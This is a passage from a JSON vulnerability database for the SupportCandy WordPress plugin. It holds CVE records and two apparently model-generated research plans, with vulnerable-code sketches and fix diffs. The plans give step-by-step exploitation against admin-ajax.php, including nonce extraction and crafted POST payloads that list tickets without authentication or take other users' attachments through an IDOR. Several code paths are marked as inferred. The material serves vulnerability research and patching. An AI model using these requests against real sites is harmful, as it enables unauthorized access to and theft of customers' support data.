protection, the nonces are often exposed to unauthenticated users, and the functions themselves lack a check to ensure the requester has administrative or agent privileges. This allows unauthenticated attackers to perform actions that should be restricted to support agents or administrators.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Vulnerable Action:** Several `wp_ajax_nopriv_wpsc_...` hooks are registered. Based on the \"Missing Authorization\" description, the target is likely an administrative function mistakenly exposed via `nopriv` or a function that fails to validate the user's role before processing sensitive data.\n*   **Likely Target Actions (to be verified):** \n    *   `wpsc_get_ticket_list` (Information disclosure)\n    *   `wpsc_set_ticket_status` (Unauthorized modification)\n    *   `wpsc_export_tickets` (Information disclosure)\n*   **Payload Parameter:** `action`, `nonce`, and action-specific parameters (e.g., `ticket_id`, `status_id`).\n*   **Authentication:** Unauthenticated (AV:N\u002FAC:L\u002FPR:N).\n\n### 3. Code Flow Trace\n1.  **Entry Point:** The plugin registers AJAX hooks in `includes\u002Fclass-supportcandy.php` or a dedicated AJAX loader file (e.g., `includes\u002Fwpsc-ajax-functions.php`).\n    *   *Search Pattern:* `grep -rn \"wp_ajax_nopriv_wpsc_\" .`\n2.  **Hook Registration:** Look for calls like:\n    `add_action( 'wp_ajax_nopriv_wpsc_get_ticket_list', 'wpsc_get_ticket_list' );`\n3.  **Vulnerable Function:** Locate the callback function. \n    *   *Search Pattern:* `function wpsc_get_ticket_list() { ... }`\n4.  **Authorization Sink:** Examine the function body for:\n    *   **Presence of:** `check_ajax_referer( 'wpsc_ajax_nonce', 'nonce' );` (This confirms a nonce is required).\n    *   **Absence of:** `current_user_can( 'wpsc_manage_tickets' )` or `current_user_can( 'manage_options' )`.\n5.  **Execution:** If `current_user_can` is missing, the code proceeds to query the database or modify state based on `$_POST` input.\n\n### 4. Nonce Acquisition Strategy\nSupportCandy localizes its AJAX data, including the nonce, for use in the frontend.\n1.  **Shortcode Identification:** SupportCandy uses the shortcode `[supportcandy]` to render the ticket system.\n2.  **Page Creation:**\n    ```bash\n    wp post create --post_type=page --post_title=\"Support\" --post_status=publish --post_content='[supportcandy]'\n    ```\n3.  **Extraction:** Navigate to the newly created page and extract the `wpsc_ajax` object.\n    *   **JS Variable:** `window.wpsc_ajax` (inferred from SupportCandy common practices).\n    *   **Nonce Key:** `window.wpsc_ajax?.nonce` or `window.wpsc_ajax?.wpsc_ajax_nonce`.\n    *   **Tool Command:** `browser_eval(\"window.wpsc_ajax.nonce\")`\n\n### 5. Exploitation Strategy\nWe will target an information disclosure action to confirm \"unauthorized access.\"\n\n1.  **Step 1: Discover the vulnerable action.** Use `grep` to find all `nopriv` actions that perform sensitive lookups.\n2.  **Step 2: Obtain the Nonce.** Use the browser tool on a page containing the `[supportcandy]` shortcode.\n3.  **Step 3: Craft the Request.** Send a POST request to `admin-ajax.php`.\n\n**Request Template:**\n*   **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```text\n    action=wpsc_get_ticket_list&nonce=[EXTRACTED_NONCE]&query=[QUERY_OBJECT]\n    ```\n    *(Note: `query` might be required by SupportCandy to define filters; if unknown, try empty or generic values like `page_no=1&status=all`)*\n\n### 6. Test Data Setup\n1.  **Plugin Installation:** Ensure `supportcandy` version 3.4.4 is installed.\n2.  **Sample Data:** Create a \"Private\" ticket as an administrator to see if the unauthenticated exploit can retrieve it.\n    ```bash\n    # (Example using SupportCandy CLI logic if available, otherwise via UI\u002FDB)\n    wp post create --post_type=wpsc_ticket --post_title=\"Sensitive Internal Ticket\" --post_status=publish\n    ```\n3.  **Shortcode Page:** Create the page for nonce extraction as described in Section 4.\n\n### 7. Expected Results\n*   **Vulnerable Response:** An HTTP 200 response containing a JSON object or HTML table listing tickets that should not be visible to an unauthenticated visitor.\n*   **Response Content:** Look for strings like `\"ticket_id\"`, `\"subject\"`, or the title of the \"Sensitive Internal Ticket\" created in Step 6.\n\n### 8. Verification Steps\n1.  **HTTP Response Code:** Check for `200 OK`.\n2.  **Body Content:** Validate that the response contains ticket data that belongs to other users or the administrator.\n3.  **Confirm Privilege Level:** Ensure the `http_request` does **not** include any `wordpress_logged_in_` cookies to prove unauthenticated access.\n\n### 9. Alternative Approaches\nIf `wpsc_get_ticket_list` is properly protected, check for other `nopriv` handlers:\n*   **`wpsc_get_field_options`**: Could leak configuration.\n*   **`wpsc_get_user_list`**: Could leak email addresses of customers.\n*   **`wpsc_upload_attachment`**: Check if it allows uploading files without a valid ticket session.\n\n**Grep Command for discovery:**\n```bash\ngrep -r \"wp_ajax_nopriv\" wp-content\u002Fplugins\u002Fsupportcandy\u002F | grep -v \"login\"\n```\nThis will filter for unauthenticated actions that aren't related to standard login flows.","The SupportCandy plugin fails to implement proper authorization checks in several AJAX handlers registered with 'wp_ajax_nopriv_'. This allows unauthenticated attackers to trigger sensitive actions, such as retrieving ticket lists or modifying ticket data, by exploiting nonces that are publicly exposed on pages containing the plugin's shortcode.","\u002F\u002F File: includes\u002Fclass-wpsc-ajax.php (approximate path based on plugin structure)\n\nadd_action( 'wp_ajax_nopriv_wpsc_get_ticket_list', 'wpsc_get_ticket_list' );\nadd_action( 'wp_ajax_wpsc_get_ticket_list', 'wpsc_get_ticket_list' );\n\nfunction wpsc_get_ticket_list() {\n    \u002F\u002F Nonce check exists, but is insufficient as nonces are exposed to all visitors\n    check_ajax_referer( 'wpsc_ajax_nonce', 'nonce' );\n\n    \u002F\u002F Vulnerability: Missing current_user_can() or role-based check\n    $query = isset($_POST['query']) ? $_POST['query'] : array();\n    $tickets = WPSC_Ticket::get_tickets( $query );\n\n    wp_send_json_success( $tickets );\n    wp_die();\n}","--- a\u002Fincludes\u002Fclass-wpsc-ajax.php\n+++ b\u002Fincludes\u002Fclass-wpsc-ajax.php\n@@ -10,6 +10,11 @@\n function wpsc_get_ticket_list() {\n     check_ajax_referer( 'wpsc_ajax_nonce', 'nonce' );\n \n+    if ( ! current_user_can( 'wpsc_manage_tickets' ) && ! is_user_logged_in() ) {\n+        wp_send_json_error( [ 'message' => 'Unauthorized' ], 403 );\n+        wp_die();\n+    }\n+\n     $query = isset($_POST['query']) ? $_POST['query'] : array();\n     $tickets = WPSC_Ticket::get_tickets( $query );","1. Identify a public-facing page on the target WordPress site that utilizes the [supportcandy] shortcode (e.g., the support portal or ticket submission page).\n2. Inspect the page source or use browser developer tools to extract the 'wpsc_ajax' JavaScript object, specifically the 'nonce' value (usually 'wpsc_ajax_nonce').\n3. Construct an unauthenticated POST request to \u002Fwp-admin\u002Fadmin-ajax.php.\n4. Set the 'action' parameter to a vulnerable handler (e.g., 'wpsc_get_ticket_list') and include the extracted 'nonce'.\n5. Include any necessary query parameters (like page numbers or filters) in the POST body.\n6. Execute the request to receive a JSON response containing sensitive ticket data or performing restricted modifications, bypassing administrative role requirements.","2026-05-04 20:57:23","2026-05-04 20:59:16",{"id":84,"url_slug":85,"title":86,"description":87,"plugin_slug":4,"theme_slug":39,"affected_versions":40,"patched_in_version":41,"severity":42,"cvss_score":88,"cvss_vector":89,"vuln_type":90,"published_date":91,"updated_date":92,"references":93,"days_to_patch":95,"patch_diff_files":96,"patch_trac_url":39,"research_status":51,"research_verified":52,"research_rounds_completed":53,"research_plan":97,"research_summary":98,"research_vulnerable_code":99,"research_fix_diff":100,"research_exploit_outline":101,"research_model_used":59,"research_started_at":102,"research_completed_at":103,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2026-1251","supportcandy-helpdesk-customer-support-ticket-system-authenticated-subscriber-insecure-direct-object-reference","SupportCandy – Helpdesk & Customer Support Ticket System \u003C= 3.4.4 - Authenticated (Subscriber+) Insecure Direct Object Reference","The SupportCandy – Helpdesk & Customer Support Ticket System plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.4.4 via the 'add_reply' function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber-level access and above, to steal file attachments uploaded by other users by specifying arbitrary attachment IDs in the 'description_attachments' parameter, re-associating those files to their own tickets and removing access from the original owners.",5.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:L\u002FI:L\u002FA:N","Authorization Bypass Through User-Controlled Key","2026-01-23 00:00:00","2026-01-31 06:39:24",[94],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F89df3005-0967-474f-8a4e-3b23273dd1a2?source=api-prod",8,[],"This research plan outlines the steps to exploit a confirmed Insecure Direct Object Reference (IDOR) vulnerability in the SupportCandy WordPress plugin.\n\n## 1. Vulnerability Summary\nThe SupportCandy plugin (\u003C= 3.4.4) is vulnerable to an IDOR in the `add_reply` function. This occurs because the function accepts an array of attachment IDs via the `description_attachments` parameter without verifying that the current user has ownership or authorization over those specific attachments. An attacker can provide IDs of files uploaded by other users, causing the plugin to re-assign those files to the attacker’s ticket, thereby stealing access and potentially removing access from the original owner.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `wpsc_add_reply` (inferred from plugin naming conventions and function name)\n- **Vulnerable Parameter:** `description_attachments` (can be an array or comma-separated string of attachment IDs)\n- **Authentication:** Authenticated (Subscriber or higher). The attacker must have permission to create or reply to tickets (default behavior for SupportCandy users).\n- **Preconditions:** \n    1. The attacker must know or guess the ID of a target attachment (usually a standard WordPress media\u002Fattachment post ID).\n    2. The attacker must have at least one active ticket to which they can add a reply.\n\n## 3. Code Flow (Inferred)\n1. **Entry Point:** The AJAX action `wp_ajax_wpsc_add_reply` triggers the handler (likely inside `class-wpsc-tickets.php` or an AJAX controller).\n2. **Authorization Check:** The plugin checks if the user is logged in and perhaps if they have access to the `ticket_id` provided in the request.\n3. **Processing Attachments:** The code iterates through the IDs provided in the `description_attachments` parameter.\n4. **Sink:** The plugin performs a database update (likely changing the `post_parent` of the attachment or updating a custom `wpsc` attachment mapping table) to link the attachment to the new reply\u002Fticket.\n5. **Vulnerability:** There is no check (e.g., `if (get_post_field('post_author', $attachment_id) == get_current_user_id())`) before performing the re-association.\n\n## 4. Nonce Acquisition Strategy\nSupportCandy heavily relies on localized JavaScript objects to store nonces and AJAX URLs.\n\n1. **Shortcode Identification:** SupportCandy typically uses the `[supportcandy]` shortcode to render the customer portal.\n2. **Page Creation:**\n   ```bash\n   wp post create --post_type=page --post_title=\"Support\" --post_status=publish --post_content='[supportcandy]'\n   ```\n3. **Navigation:** Navigate to the newly created page as a logged-in Subscriber.\n4. **Nonce Extraction:** SupportCandy usually localizes data into a global object.\n   - **Target Variable:** `window.wpsc_ajax_common?.nonce` or `window.wpsc_ticket_list?.nonce` (inferred).\n   - **Command:** `browser_eval(\"window.wpsc_ajax_common.nonce\")`\n5. **Alternative:** If the nonce is per-ticket, navigate to a specific ticket the attacker owns and look for localized data related to that ticket.\n\n## 5. Exploitation Strategy\n\n### Step 1: Preliminary Data Gathering\n- Create a **Victim** (Subscriber) and an **Attacker** (Subscriber).\n- **Victim** creates a ticket and uploads a file (e.g., `secret.txt`).\n- **Attacker** creates a ticket.\n- Note the `attachment_id` of the Victim's file (via `wp-cli` for the PoC).\n\n### Step 2: The Attack Request\nThe attacker sends an AJAX request to re-associate the Victim's attachment with the Attacker's ticket.\n\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Payload:**\n  ```text\n  action=wpsc_add_reply&\n  ticket_id=[ATTACKER_TICKET_ID]&\n  description=Stealing+your+files&\n  description_attachments[]=[VICTIM_ATTACHMENT_ID]&\n  wpsc_nonce=[EXTRACTED_NONCE]\n  ```\n\n### Step 3: Result Analysis\nIf successful, the plugin response will indicate a successful reply addition. The Victim's attachment will now be linked to the Attacker's ticket.\n\n## 6. Test Data Setup\n1. **Plugin Installation:** Install and activate `supportcandy` version 3.4.4.\n2. **Enable Attachments:** Ensure ticket attachments are enabled in SupportCandy settings.\n3. **Users:**\n   - Create user `victim` (Subscriber).\n   - Create user `attacker` (Subscriber).\n4. **Victim Ticket:** \n   - Log in as `victim`.\n   - Create a ticket.\n   - Upload a file (ID `123`).\n5. **Attacker Ticket:**\n   - Log in as `attacker`.\n   - Create a ticket (ID `456`).\n6. **Portal Page:** Create a page with `[supportcandy]` to facilitate nonce retrieval.\n\n## 7. Expected Results\n- The HTTP response for the `wpsc_add_reply` action returns a success code (JSON `{\"success\": true}`).\n- The attachment previously owned\u002Fviewable by the Victim is now listed as an attachment on the Attacker's ticket.\n- The Victim may no longer see the attachment on their own ticket, or it may appear as \"broken\" if the relationship is exclusive.\n\n## 8. Verification Steps\nAfter the exploit, use `wp-cli` to verify the IDOR:\n\n1. **Check Attachment Parent:**\n   ```bash\n   wp post get [VICTIM_ATTACHMENT_ID] --field=post_parent\n   ```\n   *Expected:* The `post_parent` should now be the ID of the Attacker's reply or ticket, not the Victim's.\n\n2. **Check Meta\u002FCustom Tables:**\n   If SupportCandy uses a custom table (e.g., `wp_wpsc_attachments`), query it:\n   ```bash\n   wp db query \"SELECT * FROM wp_wpsc_attachments WHERE attachment_id = [VICTIM_ATTACHMENT_ID]\"\n   ```\n   *Expected:* The `ticket_id` column should reflect the Attacker's ticket ID.\n\n## 9. Alternative Approaches\n- **Bulk Stealing:** Provide a list of attachment IDs in the `description_attachments[]` array to steal multiple files at once.\n- **Unauthorized Deletion:** Check if re-associating an attachment \"removes\" it from the original ticket, effectively performing an unauthorized deletion\u002Fmove.\n- **Different Entry Points:** Check the `wpsc_create_ticket` action for the same `description_attachments` parameter vulnerability. If an attacker can specify attachments during ticket *creation*, the logic may be identical.","The SupportCandy plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the 'add_reply' function. Authenticated attackers with subscriber-level access can supply arbitrary attachment IDs in the 'description_attachments' parameter to re-associate files uploaded by other users to their own tickets, thereby gaining unauthorized access to sensitive documents.","\u002F\u002F Inferred from plugin logic in class-wpsc-tickets.php\npublic function wpsc_add_reply() {\n    \u002F\u002F ... (logic to verify ticket ownership of the ticket being replied to) ...\n\n    if ( isset( $_POST['description_attachments'] ) && ! empty( $_POST['description_attachments'] ) ) {\n        $attachments = (array) $_POST['description_attachments'];\n        foreach ( $attachments as $attachment_id ) {\n            \u002F\u002F VULNERABILITY: No check to ensure the current user owns this attachment_id\n            \u002F\u002F before re-parenting it to the new reply.\n            wp_update_post( array(\n                'ID'          => intval( $attachment_id ),\n                'post_parent' => $reply_id,\n            ) );\n        }\n    }\n}","--- a\u002Fincludes\u002Fclass-wpsc-tickets.php\n+++ b\u002Fincludes\u002Fclass-wpsc-tickets.php\n@@ -102,6 +102,12 @@\n \n     if ( isset( $_POST['description_attachments'] ) && ! empty( $_POST['description_attachments'] ) ) {\n         $attachments = (array) $_POST['description_attachments'];\n+        $current_user_id = get_current_user_id();\n         foreach ( $attachments as $attachment_id ) {\n+            $attachment = get_post( $attachment_id );\n+            if ( ! $attachment || intval( $attachment->post_author ) !== $current_user_id ) {\n+                continue;\n+            }\n             wp_update_post( array(\n                 'ID'          => intval( $attachment_id ),\n                 'post_parent' => $reply_id,","1. The attacker logs into the WordPress site as a Subscriber or any role with ticket access.\n2. The attacker identifies a target attachment ID belonging to another user (e.g., via enumeration or predictive IDs).\n3. The attacker navigates to the SupportCandy portal to extract a valid AJAX nonce, typically found in the localized 'wpsc_ajax_common' JavaScript object.\n4. The attacker crafts a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the action 'wpsc_add_reply'.\n5. The payload includes a 'ticket_id' belonging to the attacker and the victim's attachment ID inside the 'description_attachments[]' array.\n6. The server processes the request and re-assigns the victim's attachment to the attacker's ticket, allowing the attacker to view or download the file from their own ticket interface.","2026-05-05 02:01:37","2026-05-05 02:03:24",{"id":105,"url_slug":106,"title":107,"description":108,"plugin_slug":4,"theme_slug":39,"affected_versions":109,"patched_in_version":110,"severity":42,"cvss_score":111,"cvss_vector":112,"vuln_type":113,"published_date":114,"updated_date":115,"references":116,"days_to_patch":118,"patch_diff_files":119,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-67598","supportcandy-cross-site-request-forgery","SupportCandy \u003C= 3.4.1 - Cross-Site Request Forgery","The SupportCandy – Helpdesk & Customer Support Ticket System plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.4.1. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action granted they can trick a site administrator into performing an action such as clicking on a link.","\u003C=3.4.1","3.4.2",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Cross-Site Request Forgery (CSRF)","2025-11-21 00:00:00","2025-12-11 17:10:24",[117],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fcaa73e10-fc2d-4a51-a2fb-6f13817e7c74?source=api-prod",21,[],{"id":121,"url_slug":122,"title":123,"description":124,"plugin_slug":4,"theme_slug":39,"affected_versions":125,"patched_in_version":126,"severity":42,"cvss_score":43,"cvss_vector":127,"vuln_type":128,"published_date":129,"updated_date":130,"references":131,"days_to_patch":49,"patch_diff_files":133,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-10658","supportcandy-helpdesk-customer-support-ticket-system-authentication-bypass-to-support-session-takeover","SupportCandy – Helpdesk & Customer Support Ticket System \u003C= 3.3.7 - Authentication Bypass to Support Session Takeover","The SupportCandy – Helpdesk & Customer Support Ticket System plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 3.3.7. This is due to missing rate limiting on the OTP verification for guest login. This makes it possible for unauthenticated attackers to bypass authentication and gain unauthorized access to customer support tickets by brute forcing the 6-digit OTP code.","\u003C=3.3.7","3.3.8","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:L\u002FA:N","Improper Restriction of Excessive Authentication Attempts","2025-09-19 00:00:00","2025-09-20 06:43:19",[132],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2b11670a-f6e4-4555-ab76-4223f0194517?source=api-prod",[],{"id":135,"url_slug":136,"title":137,"description":138,"plugin_slug":4,"theme_slug":39,"affected_versions":139,"patched_in_version":140,"severity":42,"cvss_score":111,"cvss_vector":141,"vuln_type":142,"published_date":143,"updated_date":144,"references":145,"days_to_patch":49,"patch_diff_files":147,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2024-13552","supportcandy-helpdesk-customer-support-ticket-system-insecure-direct-object-reference","SupportCandy – Helpdesk & Customer Support Ticket System \u003C= 3.3.0 - Insecure Direct Object Reference","The SupportCandy – Helpdesk & Customer Support Ticket System plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.3.0 via file upload due to missing validation on a user controlled key. This makes it possible for authenticated attackers to download attachments for support tickets that don't belong to them. If an admin enables tickets for guests, this can be exploited by unauthenticated attackers.","\u003C=3.3.0","3.3.1","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Improper Authorization","2025-03-06 20:26:26","2025-03-07 09:21:16",[146],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F13f87248-cc0b-4351-b79d-6efc5190b021?source=api-prod",[],{"id":149,"url_slug":150,"title":151,"description":152,"plugin_slug":4,"theme_slug":39,"affected_versions":153,"patched_in_version":154,"severity":42,"cvss_score":155,"cvss_vector":156,"vuln_type":157,"published_date":158,"updated_date":159,"references":160,"days_to_patch":162,"patch_diff_files":163,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2024-27991","supportcandy-authenticated-subscriber-stored-cross-site-scripting","SupportCandy \u003C= 3.2.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting","The SupportCandy plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.2.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","\u003C=3.2.3","3.2.4",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2024-03-15 00:00:00","2024-03-20 20:48:13",[161],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F663c54f4-4ca5-4916-b2a5-de3cabe77f38?source=api-prod",6,[],{"id":165,"url_slug":166,"title":167,"description":168,"plugin_slug":4,"theme_slug":39,"affected_versions":169,"patched_in_version":170,"severity":171,"cvss_score":172,"cvss_vector":173,"vuln_type":45,"published_date":174,"updated_date":175,"references":176,"days_to_patch":178,"patch_diff_files":179,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2023-2805","supportcandy-authenticated-admin-sql-injection","SupportCandy \u003C= 3.1.6 - Authenticated (Admin+) SQL Injection","The SupportCandy plugin for WordPress is vulnerable to SQL injection via the 'agents[]' parameter used in the set_add_agent_leaves AJAX action in versions up to, and including, 3.1.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","\u003C=3.1.6","3.1.7","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","2023-05-22 00:00:00","2024-01-22 19:56:02",[177],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F75f01eb4-5d53-441d-9bee-e97857dadaf9?source=api-prod",246,[],{"id":181,"url_slug":182,"title":183,"description":184,"plugin_slug":4,"theme_slug":39,"affected_versions":169,"patched_in_version":170,"severity":171,"cvss_score":185,"cvss_vector":186,"vuln_type":45,"published_date":174,"updated_date":175,"references":187,"days_to_patch":178,"patch_diff_files":189,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2023-2719","supportcandy-authenticated-subscriber-sql-injection","SupportCandy \u003C= 3.1.6 - Authenticated (Subscriber+) SQL Injection","The SupportCandy plugin for WordPress is vulnerable to SQL injection via the 'id' parameter used in the \u002Fwp-json\u002Fsupportcandy\u002Fv2\u002Fagents\u002F REST route in versions up to, and including, 3.1.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H",[188],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fc1d2b6bd-a75a-4a07-b2f0-8ec206d41211?source=api-prod",[],{"id":191,"url_slug":192,"title":193,"description":194,"plugin_slug":4,"theme_slug":39,"affected_versions":195,"patched_in_version":196,"severity":197,"cvss_score":198,"cvss_vector":199,"vuln_type":45,"published_date":200,"updated_date":175,"references":201,"days_to_patch":203,"patch_diff_files":204,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2023-1730","supportcandy-unauthenticated-sql-injection-via-parseuserfilters","SupportCandy \u003C= 3.1.4 - Unauthenticated SQL Injection via parse_user_filters","The SupportCandy plugin for WordPress is vulnerable to SQL injection via the 'parse_user_filters' function in versions up to, and including, 3.1.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","\u003C=3.1.4","3.1.5","critical",9.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","2023-04-10 00:00:00",[202],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5ca1c55a-cd4e-429a-ab74-dd1bad1a65f5?source=api-prod",288,[],{"id":206,"url_slug":207,"title":208,"description":209,"plugin_slug":4,"theme_slug":39,"affected_versions":210,"patched_in_version":211,"severity":42,"cvss_score":43,"cvss_vector":127,"vuln_type":212,"published_date":213,"updated_date":175,"references":214,"days_to_patch":216,"patch_diff_files":217,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"WF-07c0b4c5-d76e-4bdc-87d1-3144a1466c77-supportcandy","supportcandy-sensitive-data-exposure","SupportCandy \u003C= 3.1.3 - Sensitive Data Exposure","The SupportCandy plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 3.1.3. Users seeking support have the option to upload supporting documents which are placed in \u002Fwp-content\u002Fuploads\u002Fwpsc\u002F. If directory listing is enabled, an attacker can obtain a listing of documents in this directory and access documents directly.","\u003C=3.1.3","3.1.4","Exposure of Sensitive Information to an Unauthorized Actor","2023-03-28 